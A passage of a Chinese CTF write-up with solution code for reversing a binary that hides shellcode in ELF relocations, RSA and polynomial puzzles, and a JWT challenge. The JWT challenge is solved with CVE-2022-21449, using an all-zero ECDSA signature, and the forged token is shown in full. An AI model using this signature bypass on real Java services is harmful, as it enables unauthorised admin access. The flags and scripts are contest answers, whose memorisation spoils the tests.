19 uint32_t v[]={1570024068u, 351937696u, 727056912u, 3063668041u, 2867849940u, 1267528902u, 159365321u, 3052163538u},k[4]={0x33323130, 0x37363534, 0x62613938, 0x66656463};
20 // v为要加密的数据是两个32位无符号整数
21 // k为加密解密密钥,为4个32位无符号整数,即密钥长度为128位
22 printf("加密后的数据:%u %u\n",v[0],v[1]);
23 decrypt(v, k);
24 decrypt(v + 2, k);
25 decrypt(v + 4, k);
26 decrypt(v + 6, k);
27 unsigned char *x = (unsigned char *)v;
28 for (int i = 0; i < 32; i++) {
29 printf("%x", x[i]);
30 }
31 return 0;
32}
33// synt{Vg_Vf_A0g_guNg_zHpu_unEqre}
结果进行rot13即可
1flag{It_Is_N0t_thAt_mUch_haRder}
将 shellcode 隐藏在了 relocation 中
1import lief
2from collections import namedtuple
3from dataclasses import dataclass
4
5b = lief.ELF.parse('./deeprev')
6
7def to_sym(name):
8 assert len(name) == 1
9 return ord(name[0])
10
11Rel = namedtuple('REL', ['dst', 'val', 'ridx'])
12Copy = namedtuple('CPY', ['dst', 'symbol', 'ridx'])
13R64 = namedtuple('R64', ['dst', 'symbol', 'addend', 'ridx'])
14R32 = namedtuple('R32', ['dst', 'symbol', 'addend', 'ridx'])
15
16@dataclass
17class Symbol(object):
18 idx: int
19
20 def __repr__(self):
21 return f's{self.idx}'
22
23@dataclass
24class Reloc(object):
25 idx: int
26
27 def __repr__(self):
28 return f'r{self.idx}'
29
30@dataclass
31class Ref(object):
32
33 def __repr__(self):
34 return f'&{self.val}'
35
36@dataclass
37class SymAddr(object):
38 sym: Symbol
39 field: str
40
41 def __repr__(self):
42 return f'{self.sym}.{self.field}'
43
44@dataclass
45class RelocAddr(object):
46 reloc: Reloc
47 field: str
48
49 def __repr__(self):
50 return f'{self.reloc}.{self.field}'
51
52 def vaddr(self):
53 off = 0
54 print(self.field)
55 # match self.field:
56 # case 'r_address': off = 0
57 # case 'r_info': off = 8
58 # case 'r_addend': off = 16
59
60 return (self.reloc.idx * 24) + off + rela.virtual_address
61
62@dataclass
63class FlagAddr(object):
64 idx: int
65
66 def __repr__(self):
67 return f'flag[{self.idx}]'
68
69BaseAddr = namedtuple('baseaddr', [])
70CheckAddr = namedtuple('check', [])
71
72rela = [x for x in b.sections if x.name == '.rela.dyn'][0]
73dynsym = [x for x in b.sections if x.name == '.dynsym'][0]
74
75def format_addr(addr: int):
76 if (addr >= rela.virtual_address and addr < rela.virtual_address + rela.size):
77 offset = addr - rela.virtual_address
78 r_offset = (offset // 24)
79 r_rem = offset % 24
80
81 if r_rem == 0:
82 return RelocAddr(Reloc(r_offset), 'r_address')
83 elif r_rem == 8:
84 return RelocAddr(Reloc(r_offset), 'r_info')
85 elif r_rem == 16:
86 return RelocAddr(Reloc(r_offset), 'r_addend')
87 else:
88 return RelocAddr(Reloc(r_offset), r_rem)
89
90 elif (addr > dynsym.virtual_address
91 and addr < dynsym.virtual_address + dynsym.size
92 ):
93 offset = addr - dynsym.virtual_address
94 r_offset = (offset // 24)
95 r_rem = offset % 24
96
97 if r_rem == 0:
98 return SymAddr(Symbol(r_offset), 'st_name')
99 elif r_rem == 8:
100 return Symbol(r_offset)
101 elif r_rem == 16:
102 return SymAddr(Symbol(r_offset), 'st_size')
103 else:
104 return SymAddr(Symbol(r_offset), r_rem)
105
106 elif addr >= 0x404040 and addr < 0x404040+0x21:
107 off = addr-0x404040
108 return FlagAddr(off)
109 elif addr == 0x804000:
110 return BaseAddr()
111 elif addr == 0x404064:
112 return CheckAddr()
113 else:
114 return addr
115
116def parse(b) -> list:
117 print('[*] Loading relocations...')
118 relocs = list(b.relocations)
119
120 print('[*] Parsing...')
121 instructions = []
122 for i in range(3, len(relocs)):
123 r = relocs[i]
124 if r.type == 1:
125 instructions.append(
126 R64(format_addr(r.address), to_sym(r.symbol.name), format_addr(r.addend), i))
127 elif r.type == 5: # CPY
128 instructions.append(
129 Copy(format_addr(r.address), to_sym(r.symbol.name), i))
130 elif r.type == 8: # REL
131 instructions.append(
132 Rel(format_addr(r.address), format_addr(r.addend), i))
133 elif r.type == 7: # R32
134 # instructions.append(
135 # R32(r.address, to_sym(r.symbol.name), r.addend, i))
136 instructions.append(R32(1, 1, 1, 1))
137
138 return instructions
139
140def dump(instructions):
141 for op in instructions:
142 if type(op).__name__ == 'REL':
143 print(f'[{op.ridx:04d}] :: rel {op.dst}, {op.val}')
144 elif type(op).__name__ == 'CPY':
145 print(f'[{op.ridx:04d}] :: copy {op.dst}, {op.symbol}')
146 elif type(op).__name__ == 'R64':
147 print(f'[{op.ridx:04d}] :: r64 {op.dst}, {op.symbol} + {op.addend}')
148 elif type(op).__name__ == 'R32':
149 print('7')
150 if(op.ridx == 1266):
151 break
152
153instructions = parse(b)
154dump(instructions)
提取后发现主要逻辑为加载 shellcode 并执行
1[0005] :: rel s2, flag[0]
2[0006] :: rel s2.st_size, 1
3[0007] :: copy s4, s2
4[0009] :: rel r8.r_address, 0x16008040cc253480
5[0010] :: rel r8.r_info, 0xc3
6[0011] :: rel s3, r8.r_address
7[0012] :: rel s3.st_name, 0x1000a0000001a
8[0013] :: r64 r8.r_address, 3 + 0
9[0014] :: rel s2, r101002.r_address
10[0015] :: rel s2.st_size, 0x18
11[0016] :: copy r8.r_address, s2
12[0018] :: rel r17.r_address, 0x8040cc250480
13[0019] :: rel r17.r_info, 0xc3
14[0020] :: rel s3, r17.r_address
15[0021] :: rel s3.st_name, 0x1000a0000001a
16[0022] :: r64 r17.r_address, 3 + 0
17[0023] :: copy r17.r_address, s2
18[0024] :: rel s2, s4
19[0025] :: rel s2.st_size, 1
20[0026] :: copy r3.r_address, s2
21
22[0597] :: rel s2, r3.r_address
23[0598] :: rel s2.st_size, 8
24[0599] :: copy s6, s2
25[0601] :: rel r600.r_address, 0x70008040fc253480
26[0602] :: rel r600.r_info, 0xc3
27[0603] :: rel s3, r600.r_address
28[0604] :: rel s3.st_name, 0x1000a0000001a
29[0605] :: r64 r600.r_address, 3 + 0
30[0606] :: rel s2, r101002.r_address
31[0607] :: rel s2.st_size, 0x18
32[0608] :: copy r600.r_address, s2
33[0609] :: rel s2, s6
34[0610] :: rel s2.st_size, 8
35[0611] :: copy r612.r_addend, s2
36[0612] :: r64 s5, 5 + 0
37[0613] :: rel r612.r_addend, 0
38[0614] :: rel s6, 0
上述代码对 flag 第一位执行了两处 shellcode,shellcode 为 f ^ 0x16 + 0
随后对该值 xor 0x70,最后值为 0 表示通过
前28位flag均是该逻辑的重复
1xor = [0x16, 0x17, 0x10, 0x12, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0x24, 0x2c, 0x26, 0x1e, 0x1f, 0x20, 0x20, 0x21, 0x23, 0x27, 0x24, 0x25, 0x26, 0x27]
2add = [0x0, 0x1, 0x2, 0x3, 0x4, 0x5, 0x6, 0x7, 0x8, 0x9, 0xa, 0xb, 0xc, 0xd, 0xe, 0xf, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0x1a, 0x1b]
3xor2 = [0x70, 0x7c, 0x73, 0x78, 0x6f, 0x27, 0x2a, 0x2c, 0x7f, 0x35, 0x2d, 0x32, 0x37, 0x3b, 0x22, 0x59, 0x53, 0x8e, 0x3d, 0x2a, 0x59, 0x27, 0x2d, 0x29, 0x34, 0x2d, 0x61, 0x32]
4
5for x1, a, x2 in zip(xor, add, xor2):
6 print (chr((x2 - a) ^ x), end='')
7# flag{366c950370fec47e34581a0
对最后几位flag进行了如下计算
1(flag[28] + flag[29]) ^ 0x6c = 0
2(flag[28] * 2 + flag[29]) ^ 0xa1 = 0
3(flag[30] + flag[31]) ^ 0xb1 = 0
4(flag[30] * 2 + flag[31]) ^ 0xe5 = 0
计算得到flag最后四位
一个基于 ECDSA 的 JWT,需要绕过签名验证得到 flag。签名头部 base64 解码,admin 字段为 false,考虑将其修改为 true 后绕过。
搜索发现漏洞 CVE-2022-21449。https://jfrog.com/blog/cve-2022-21449-psychic-signatures-analyzing-the-new-java-crypto-vulnerability/
,未验证提交签名中参数是否为 0,提交定长空字节的 base64 编码即可通过验证。
ECDSA 内置实例算法采用 SHA384,对应签名 base64 长度为 128,编码 96 个空字节即可。远程连接提交用户名拿到 Token,在有效时间内修改 admin 字段为 true 后重新编码。payload 为初始字段+修改了admin的头部+空字节编码。
1eyJ0eXAiOiJKV1QiLCJhbGciOiJteUVTIn0=.eyJpc3MiOiJxd2IiLCJuYW1lIjoic2IiLCJhZG1pbiI6dHJ1ZSwiZXhwIjoxNjU5MTk1NTg0NTgwfQ==.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
https://eprint.iacr.org/2015/399.pdf
参照这篇论文的做法,论文中提到的三种攻击就对应了此题的三关,反序解出即可。
第一二关都是Coppersmith方法解决,用sage中的small_roots()函数。
第三关采用连分数解决。
第一二关脚本
1n3=539779851369541956878655738599584730199799866957191805784596190682932284216781781433367450841202917758999300635019369629627621029957135109806205877317954671312041249493462048283611940752235036153024920172209763260723728345918562258401803973624430150143563078517485996070862532682695228590709019451174548520135142052216785774589096706631010293690859363524584240662502290912412366366114571976050857239915691266377257797199583543940504695517331512813468837128344612227973709974625418257243011036826241599265375741977853552204640800449679679351666009764297016524814036295707311913711955324055690490892097177271718850857268982130811714517356073266905474635370690445031512184247179039751734276906533177939993769044135143389748416635981226449566039039202521305851567296884751935162651063209779647359922622084851547605090230221057349511482738300221222563908357379545905837110168948295030747460300104202323692732549831403834387939156877086852393515817984772384147449841124275061609701453997579569931391166586163299940486204581696722731952467570857217406030804590055255431828403195798003509083922294733709507134156466158642941338493323430671502043066148246348074878064089651235355282144209668143249348243220714471988019011613749340243917652821
2R.<x> = PolynomialRing(Zmod(n3),implementation='NTL')
3e3=8179300978753084587812861894047395225516049110376948812109811319430275614612773726672345893359691900281432484382670047044697374818043512731533402576374645405477207239801498428774783768163880078495448747421425078521981578408638790336528372019271073712013371141939808017049399434858687299480461753638164719404612128939787055797762174745092074547412183349192156638711750872083313795551439465507724807626674514935170104573715458782366469587138508845980490673890245713729782917089910271980557159592807350504157192913530007199510144004848020221181558472160543018733124225266127379373751910439604459368078652499029070936707349862139053913745186413782066470461478961703013591655136140060879250067379283913798867648758171004535775565306842444545755351202796833177560656564652632975685912935281581268141803696686952259539945588609591385807620108279333498170028167338690235117003515264281843953984997958878272347778561933726792473981855755454522886321669676790813189668084373153897754540290867346751033567500922477317530445967753955221454744946208555394588111484610700789566547507402309549957740815535069057837915204852490930168843605732632328017129154852857227895362549146737618906180651623216848500491438142456250653458053922622240299736136335179639180898730269690699965799644757774472147210271111150769048976871249731156387939260749192370361488285775377622944817570292095201906142567403539151179209316853493906909989301225903409448461436855145
4z=17623328397444755087284107444487160871617682792372566887446834913712379373851213638071138745775127796589871734472781755930251379295485892067473329763997583502625804363418069062645997342172778252731889437
5f=e3*x-z
6f=f.monic()
7print(f.small_roots(beta=0.7))
第三关脚本
1import gmpy2
2from libnum import n2s
3from math import gcd
4
5
6def tCf(n, d):
7 res = []
8 while d:
9 res.append(n // d)
10 n, d = d, n % d
11 return res
12
13
14def cf(sub_res):
15 n, d = 1, 0
16 for i in sub_res[::-1]:
17 d, n = n, i * n + d
18 return d, n
19
20
21def listFraction(x, y):
22 res = tCf(x, y)
23 res = list(map(cf, (res[0:i] for i in range(1, len(res)))))
24 return res
25
26
27n11=801049932940568005269978912396585741498810389425615966036828877784238116634177290247194019425111606811005728521368879065336038221361037062407029836155148874719789714345603547779284558101833801155509762818376470874215789574939002212274399950433269775325144015468620263028557804618774240232988157961712628677901130814703917513004114547234375629747176834581166306552311075522669403347828095831520693563291249869832390698646691647204371133362254846234990175138047928703289833460734235302093916147489509206061923877623300596194317059884824322527532662470348274079800781120104946546063500763852622187404608639542858285661288293918912184354236687975919510300221932074135531028314170475917110204254042336116619335841213418990605590620842511615815443114612333881430920769002933370887494558640833005339906706603497809846863863967391543647049224309556936909768179259581851520214669904560467640473144481633920438487615788689262961741053146610554997224861331949716721056553499531186695425439163222802917813140266513735841447717418846360096652592844940362932171019143434080184728093326143821165097895058935372215708948088248596585127475770021962501262915274497478428868130455122612016408381607561200802267038869516896665387576895570245272035575637
28n12=635401970340205725139325006504978344512744926958688031423448003992072769931808217486709574151492230879374574313457662436423263437792389711379687512056391117410807565492548718691166183372633151644917135272259770997096195518489056319350258673723095417922153182423913759272893696867426193704479752772511081457729513843682588951499551132432923147997238597538055902932123792252593514225328196541483451747314048080824405530742533473914329294346486691684904100406972073037050089861816604505650042953778360621934380815999541183067585498606053857125775979915077329566722531830089714823979965934190338538564188253271016367299890015449611141166780048763403252309160517164569110740561584100839212138661881615351382946813818078899882595313362934594951895560189003438775450675343590147821186953526262224973333962454561275321925151619178204499342339749637758100126893330994252902926509705617882239610380420830791088907378397226817514095468815228186716220057075095711894070032344613244803934541318573847029365563159918970404057137270884587905766828750387753130065274147902379993224780149663600462492281891320702134153853359393588902750423972068679293373333869389393970353760507436913233657422185531482023237384247535554666481760197851108297145147371
29e11=1898839980562048754607069073527844852132536432440793106124181406514770178066775988232362054809850074774981836898118651469424148725970708199461113088705044905633592578936333918328544505910996746428679299419879472444790941363558025887620570856598548320246426354974395765243741646121743413447132297230365355148066914830856904433750379114692122900723772114991199979638987571559860550883470977246459523068862898859694461427148626628283198896659337135438506574799585378178678790308410266713256003479022699264568844505977513537013529212961573269494683740987283682608189406719573301573662696753903050991812884192192569737274321828986847640839813424701894578472933385727757445011291134961124822612239865
30e12=1262647419018930022617189608995712260095623047273893811529510754596636390255564988827821761126917976430978175522450277907063247981106405519094560616378241247111698915199999363948015703788616554657275147338766805289909261129165025156078136718573006479030827585347458143645738353716189131209398056741864848486818076440355778886993462012533397208330925057305502653219173629466948635110352752162442552541812665607516753186595817376029707777599029040724727499952161261179707271814405907165207904499722122779096230563548011491932378429654764486855147873135769116637484240454596231092684424572258119768093562747249251518965380465994055049411715353547147466711949391814550591591830515262296556050946881
31
32res = listFraction(n11, n12)
33for i in res:
34 if n12 % i[0] == 0 and n11 % i[1] == 0 and i != (1,1):
35 q1 = i[1]
36 q2 = i[0]
37p1 = int(gmpy2.iroot(n11 // q1, 2)[0])
38p2 = int(gmpy2.iroot(n12 // q2, 2)[0])
39print(p1,p2)
40
41c11=18979511327426975645936984732782737165217332092805655747550406443960209507493506811471688957217003792679188427155591583024966608843371190136274378868083075515877811693937328204553788450031542610082653080302874606750443090466407543829279067099563572849101374714795279414177737277837595409805721290786607138569322435729584574023597293220443351227559400618351504654781318871214405850541820427562291662456382362148698864044961814456827646881685994720468255382299912036854657082505810206237294593538092338544641919051145900715456411365065867357857347860000894624247098719102875782712030938806816332901861114078070638796157513248160442185781635520426230183818695937457557248160135402734489627723104008584934936245208116232179751448263136309595931691285743580695792601141363221346329077184688857290503770641398917586422369221744736905117499140140651493031622040723274355292502182795605723573863581253354922291984335841915632076694172921289489383700174864888664946302588049384130628381766560976143458735712162489811693014419190718601945154153130272620025118408017441490090252674737105557818759190934585829634273698371996797545908125156282869589331913665938038870431655063063535672001112420959158339261862052308986374193671007982914711432579
42c12=336587005671304527566745948355290412636261748969581976214239578621816863343117433524033533838636941679300497270909696775021031004312477997130741361709262822736904340641138652359632950455651920464042448022467664596484055174270895170499076347333381222768518599018520948098943626229061996126260154604038101543546588917619576702866444998578555907070990331574722135141778182631559802154493815687284077524469331290249057291163803290619701104007028836609832847351748020354798788508790258935718399783002069490123663345156902440501507117289747695510266461539019431610123351176227443612317037899257774045751487135646052309277098939919088029284437221840182769808850184827681307611389353392683707516141736067793897378911235819049432542758429901945202632117089595899280390575706266239252841152490534353760118231918190110043319877744119083811214707593122757409240645257409097436061825613686773916466122693168971062418046703969144004779270391320645495586024342668002497155358623795942692477164489475917351003149045087283510728981096449890130735055015075557614253867698702479920619299919816768972581273507837309179450374634916567083251630203067065663910073926990517108921490442919372774170201239734064819301693527366233007925670043499415100789027665
43
44phi11 = (p1) * (p1-1) * (q1-1)
45phi12 = (p2) * (p2-1) * (q2-1)
46d11 = gmpy2.invert(e11,phi11)
47d12 = gmpy2.invert(e12,phi12)
48m1 = pow(c11,d11,n11)
49m2 = pow(c12,d12,n12)
50print(m1)
51print(m2)
52n2 = 209798341155088334158217087474227805455138848036904381404809759100627849272231840321985747935471287990313456209656625928356468120896887536235496490078123448217785939608443507649096688546074968476040552137270080120417769906047001451239544719039212180059396791491281787790213953488743488306241516010351179070869410418232801398578982244984544906579574766534671056023774009163991804748763929626213884208260660722705479782932001102089367261720194650874553305179520889083170973755913964440175393646890791491057655226024046525748177999422035469428780228224800114202385209306803288475439775037067014297973202621118959024226798935588827359265962780792266516120013602384766460619793738405476219362508944225007365127768741191310079985425349292613888185378948854602285379329682053663283534930182589905986063348509703027498270111412063194971956202729807710253369312175636837558252924035002153389909587349043986253518050303628071319876207392440085675892353421232158925122721273720564784886530611286461575045181073744696415657043278123662980166364494583141297996445429477446442693717498789391918530672770193730629928408766563592081857706608049076318165712479742423149330311238462044666384622153280310696667586565906758451118241914402257039981388209
53x = 3549384841973213309621072870106254602253656209014197632823411827739864720839737811030401306800875843661955913236834617545674409639259372934721570288281471569069146201536309734296340629562207991295283896
54g = gcd(m1*m2*x-(m2-m1),n2)
55p2 = int(gmpy2.iroot(g,6)[0])
56q2 = n2 // (p2 ** 7)
57e2 = 0x10001
58phi2 = (p2 ** 6) * (p2 - 1) * (q2 - 1)
59d2 = gmpy2.invert(e2,phi2)
60c2 = 18352572608055902550350386950073774530453857897248738030380007830701135570310622004368605208336922266513238134127496822199799761713782366178177809597137102612444147565578155260524747439899150012223027218489946124086276814899675563837669559795153349686434242738207425653079514376089070980797596457151965772460109519623572502109592612394316680202287712465721767341302234806130244551387296133051760893033194962691942040228545508895009195291106297581470066545991352668826197346830561010198417527057944507902143965634058848276017283478933675052993657822322866778994956205033704582047618324071045349072526540250707463112668579342537349567247810715604220690215313641329522674080146047291570752430231923566302463491877377617044768978997438596643458475128936850994934029476030136643053997549253792076260765459166618369864942681056864815996253315631930002738854235841120321870075261782250357506436825550088826469396508045912258303652912217151127280959435741419961721418428605515096160344688795655562889755165362006775317188009008288782691705879510655892181975003485714604340542378477388225736316682379616676770234557939471098919647053799313777248678455620231721202780830980063824003076308811540534492317719811588898727134190545533822501681653
61b = pow(c2,d2,n2)
62print(b)
63
64n3=539779851369541956878655738599584730199799866957191805784596190682932284216781781433367450841202917758999300635019369629627621029957135109806205877317954671312041249493462048283611940752235036153024920172209763260723728345918562258401803973624430150143563078517485996070862532682695228590709019451174548520135142052216785774589096706631010293690859363524584240662502290912412366366114571976050857239915691266377257797199583543940504695517331512813468837128344612227973709974625418257243011036826241599265375741977853552204640800449679679351666009764297016524814036295707311913711955324055690490892097177271718850857268982130811714517356073266905474635370690445031512184247179039751734276906533177939993769044135143389748416635981226449566039039202521305851567296884751935162651063209779647359922622084851547605090230221057349511482738300221222563908357379545905837110168948295030747460300104202323692732549831403834387939156877086852393515817984772384147449841124275061609701453997579569931391166586163299940486204581696722731952467570857217406030804590055255431828403195798003509083922294733709507134156466158642941338493323430671502043066148246348074878064089651235355282144209668143249348243220714471988019011613749340243917652821
65e3=8179300978753084587812861894047395225516049110376948812109811319430275614612773726672345893359691900281432484382670047044697374818043512731533402576374645405477207239801498428774783768163880078495448747421425078521981578408638790336528372019271073712013371141939808017049399434858687299480461753638164719404612128939787055797762174745092074547412183349192156638711750872083313795551439465507724807626674514935170104573715458782366469587138508845980490673890245713729782917089910271980557159592807350504157192913530007199510144004848020221181558472160543018733124225266127379373751910439604459368078652499029070936707349862139053913745186413782066470461478961703013591655136140060879250067379283913798867648758171004535775565306842444545755351202796833177560656564652632975685912935281581268141803696686952259539945588609591385807620108279333498170028167338690235117003515264281843953984997958878272347778561933726792473981855755454522886321669676790813189668084373153897754540290867346751033567500922477317530445967753955221454744946208555394588111484610700789566547507402309549957740815535069057837915204852490930168843605732632328017129154852857227895362549146737618906180651623216848500491438142456250653458053922622240299736136335179639180898730269690699965799644757774472147210271111150769048976871249731156387939260749192370361488285775377622944817570292095201906142567403539151179209316853493906909989301225903409448461436855145
66x3 = 16731588253866128571163910758846497670928988943944436618514118121761227689113110943465936457030051710610254169629932203082368465978112219532158626669990117160986135699541953274434781877420432743573801621
67g3 = gcd(e3*x3-b,n3)
68p3 = int(gmpy2.iroot(g3,6)[0])
69q3 = n3 // (p3 ** 7)
70phi3 = (p3 ** 6) * (p3 - 1) * (q3 - 1)
71c3 = 113097822337683973761068913398570777162211043704088253732500045618770280334319497174908657828372816818344430304314992760410247741225285170975119344962728883084314382093407445567724674775086423808679124143380073906159023182353116556175251427048715466914368972746661938211846262612414049036821553068430149530397389927209475908905748728402722287875974303298260579839357610962198145974153609818939841880084892796820949226354126424023144300953584658958900737493704530725894948802258740332090822797815745616247879170037794873059391625680745994045522420168248552864215035136318711240256011217929372430302003068882829637056296413462078222453765071094277727760527662423010417144554652783429899139309180017349156600053882338180319473460877576898373222480215735280046214925463242092830060830764299787309912687294672319845054775281463150375545716818434962456139485501224661520991156961587158843064393883274763714930309353593180897123378717852182761518709151878662808890356934477932099818218743384674756674800089177733447066489275506387382342429495897972218764782517198727316942685748481956118012927027254979181519862451112593068440686462293151078537886822555211870303467014484443432209106264020502334805536091587252238173816637270028678636848763
72d3 = gmpy2.invert(e3,phi3)
73m3 = pow(c3,d3,n3)
74print(n2s(int(m3)))
远程交互打 40 关,每次给三个多项式 a(x), r(x), c(x)
,需要求一个 b(x)
满足模2多项式环上 a(x)b(x)+c(x)==r(x)
。给出的多项式都满足可以整除,做一个模2环上的多项式除法就行。
最后需要调整格式,高位在左低位在右。
1from hashlib import sha256
2from pwn import *
3from re import findall
4from math import log,floor
5
6def GF2_sub(n1, n2):
7 return n1 ^ n2
8
9def GF2_div(n1, n2):
10 if n2 == 1:
11 return n1
12 else:
13 len1 = len(bin(n1))
14 len2 = len(bin(n2))
15 lensub = len1 - len2 + 1
16
17 if lensub < 1:
18 return hex(0)
19 elif lensub == 1:
20 return hex(1)
21 elif lensub > 1:
22 div = 0
23 while len1 >= len2:
24 n1 ^= (n2 << (len1 - len2))
25 div ^= (1 << (len1-len2))
26 len1 = len(bin(n1))
27 return div
28
29p = remote('182.92.161.17', 31466)
30
31s = p.recv()
32kk = str(s)[14:30]
33tt = str(s)[35:-3]
34print(kk)
35print(tt)
36
37alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
38for i in alphabet:
39 for j in alphabet:
40 for k in alphabet:
41 for l in alphabet:
42 if sha256((i+j+k+l+kk).encode()).hexdigest() == tt:
43 p.sendline((i+j+k+l).encode())
44
45
46for i in range(40):
47 s = p.recv()
48
49 poly = str(s).split("\\n")
50 rr = []
51 aa = []
52 cc = []
53 print(poly)
54 print(len(poly))
55 ps = poly[0] + ' '
56 for i in range(len(ps)-1):
57 if ps[i] == 'x' and ps[i+1] == ' ':
58 rr.append(1)
59 break
60 ps = poly[1] + ' '
61 for i in range(len(ps)-1):
62 if ps[i] == 'x' and ps[i+1] == ' ':
63 aa.append(1)
64 break
65 ps = poly[2] + ' '
66 for i in range(len(ps)-1):
67 if ps[i] == 'x' and ps[i+1] == ' ':
68 cc.append(1)
69 break
70 r = findall(r"\d+",poly[0])
71 a = findall(r"\d+",poly[1])
72 c = findall(r"\d+",poly[2])
73 r = [int(i) for i in r]
74 a = [int(i) for i in a]
75 c = [int(i) for i in c]
76 if 1 in r:
77 rr.append(0)
78 if 1 in a:
79 aa.append(0)
80 if 1 in c:
81 cc.append(0)
82 for i in r:
83 if i != 1:
84 rr.append(i)
85 for i in a:
86 if i != 1:
87 aa.append(i)
88 for i in c:
89 if i != 1:
90 cc.append(i)
91 print(rr,aa,cc)
92
93 rp = 0
94 ap = 0
95 cp = 0
96 for i in rr:
97 rp += 2 ** i
98 for i in aa:
99 ap += 2 ** i
100 for i in cc:
101 cp += 2 ** i
102 print(rp,ap,cp)
103 bp = GF2_div(GF2_sub(rp,cp),ap)
104 print(bp)
105 sends = ""
106 strb = bin(bp)[2:]
107 for i in range(len(strb)):
108 if strb[i] == '1':
109 if i == len(strb)-1:
110 sends += "1"
111 elif i == len(strb)-2:
112 sends += "x"
113 else:
114 sends += "x^{}".format(len(strb)-i-1)
115 sends += " + "
116 sends = sends[:-3]
117 print(sends)
118 p.sendline(sends.encode())
119 print(p.recv())
120p.sendline(sends.encode())
121print(p.recv())
yafu 一直缺少组件,factordb 赏饭吃,给出一个分解,调整 yafu 参数后,分出剩余三个质数。
设 p**2=N
用 AMM 得出模 p 的解,发现 m 过长,再代入 m=mp+k*p
解出模N的解,得到答案。
1import random
2import time
3
4
5def AMM(o, r, q):
6 start = time.time()
7 print('\n----------------------------------------------------------------------------------')
8 print('Start to run Adleman-Manders-Miller Root Extraction Method')
9 print('Try to find one {:#x}th root of {} modulo {}'.format(r, o, q))
10 g = GF(q)
11 o = g(o)
12 p = g(random.randint(1, q))
13 while p ^ ((q-1) // r) == 1:
14 p = g(random.randint(1, q))
15 print('[+] Find p:{}'.format(p))
16 t = 0
17 s = q - 1
18 while s % r == 0:
19 t += 1
20 s = s // r
21 print('[+] Find s:{}, t:{}'.format(s, t))
22 k = 1
23 while (k * s + 1) % r != 0:
24 k += 1
25 alp = (k * s + 1) // r
26 print('[+] Find alp:{}'.format(alp))
27 a = p ^ (r**(t-1) * s)
28 b = o ^ (r*alp - 1)
29 c = p ^ s
30 h = 1
31 for i in range(1, t):
32 d = b ^ (r^(t-1-i))
33 if d == 1:
34 j = 0
35 else:
36 print('[+] Calculating DLP...')
37 j = - discrete_log(a, d)
38 print('[+] Finish DLP...')
39 b = b * (c^r)^j
40 h = h * c^j
41 c = c ^ r
42 result = o^alp * h
43 end = time.time()
44 print("Finished in {} seconds.".format(end - start))
45 print('Find one solution: {}'.format(result))
46 return result
47def findAllPRoot(p, e):
48 print("Start to find all the Primitive {:#x}th root of 1 modulo {}.".format(e, p))
49 start = time.time()
50 proot = set()
51 while len(proot) < e:
52 proot.add(pow(random.randint(2, p-1), (p-1)//e, p))
53 end = time.time()
54 print("Finished in {} seconds.".format(end - start))
55 return proot
56
57def findAllSolutions(mp, proot, cp, p):
58 print("Start to find all the {:#x}th root of {} modulo {}.".format(e, cp, p))
59 start = time.time()
60 all_mp = set()
61 for root in proot:
62 mp2 = mp * root % p
63 assert(pow(mp2, e, p) == cp)
64 all_mp.add(mp2)
65 end = time.time()
66 print("Finished in {} seconds.".format(end - start))
67 return all_mp
68e=3
69p0 = 260594583349478633632570848336184053653
70p1 = 223213222467584072959434495118689164399
71p2 = 225933944608558304529179430753170813347
72p3 = 218566259296037866647273372633238739089
73c = 945272793717722090962030960824180726576357481511799904903841312265308706852971155205003971821843069272938250385935597609059700446530436381124650731751982419593070224310399320617914955227288662661442416421725698368791013785074809691867988444306279231013360024747585261790352627234450209996422862329513284149
74c0=c%p0
75c1=c%p1
76c2=c%p2
77c3=c%p3
78pl = []
79ql = []
80m2 = int(AMM(c2, e, p2))
81m3 = int(AMM(c3, e, p3))
82proot2=findAllPRoot(p2,e)
83proot3=findAllPRoot(p3,e)
84pl = findAllSolutions(m2, proot2, c2, p2)
85ql = findAllSolutions(m3, proot3, c3, p3)
86print(pl)
87print(ql)
88pl=list(pl)
89ql=list(ql)
90d0=173729722232985755755047232224122702435
91d1=148808814978389381972956330079126109599
92m0=int(pow(c0,d0,p0))
93m1=int(pow(c1,d1,p1))
94for i in range(e):
95 for j in range(e):
96 m = crt([int(pl[i]), int(ql[j]),m0,m1], [p2, p3,p0,p1])
97 print(m)
1from libnum import n2s
2import gmpy2
3
4p0 = 260594583349478633632570848336184053653
5p1 = 223213222467584072959434495118689164399
6p2 = 225933944608558304529179430753170813347
7p3 = 218566259296037866647273372633238739089
8n = 8250871280281573979365095715711359115372504458973444367083195431861307534563246537364248104106494598081988216584432003199198805753721448450911308558041115465900179230798939615583517756265557814710419157462721793864532239042758808298575522666358352726060578194045804198551989679722201244547561044646931280001
9e = 3
10c = 945272793717722090962030960824180726576357481511799904903841312265308706852971155205003971821843069272938250385935597609059700446530436381124650731751982419593070224310399320617914955227288662661442416421725698368791013785074809691867988444306279231013360024747585261790352627234450209996422862329513284149
11print((p0 * p1 * p2 * p3) ** 2 == n)
12phi = p0 * (p0 - 1) * (p1 - 1) * p1 * (p2 - 1) * p2 * p3 * (p3 - 1)
13pr = (p0 * p1 * p2 * p3)
14print((p3 - 1) % 27)
15fl = [
16 1529007847379796407634756887525822026696243818376722108701969132742428428165312563623502055174162111318912346740690335148179223775392999980945766987459837,
17 1475292321022733362914538619161388693005464952363739416469049560011153697847764341022230542196966303658527328460810763143999529259177792246387209275640333,
18 1306173663174680354544083835098873046665147955161485267105809626183470299213147062484361435517127425037465762176491160436617371316470553010760895171531168,
19 153759683776433243399305434624208622981670871584305881184763149503345166185487917443890373624829793380160217617791063750644305153019838041206592966473567,
20 100044157419370198679087166259775289290892005571323188951843576772070435867939694842618860647633985719775199337911491746464610636804630306648035254654063,
21 2803358489265171472227210840490862843537881207776943757296126230937523911331160681955579712312498104881693839057868862438866912819678753688485739816184899,
22 222834185454100348265422735477774595442565074276484202923325623851990342933869396693076942784741899922511481742674099962888282201740191862829636553138531,
23 169118659097037303545204467113341261751786208263501510690406051120715612616321174091805429807546092262126463462794527958708587685524984128271078841319027,
24 1248984295174749683050825615411469211061247361327166117293032213981703895553936323127707213641064897178474925251326429742817744892644764737209862]
25for i in fl:
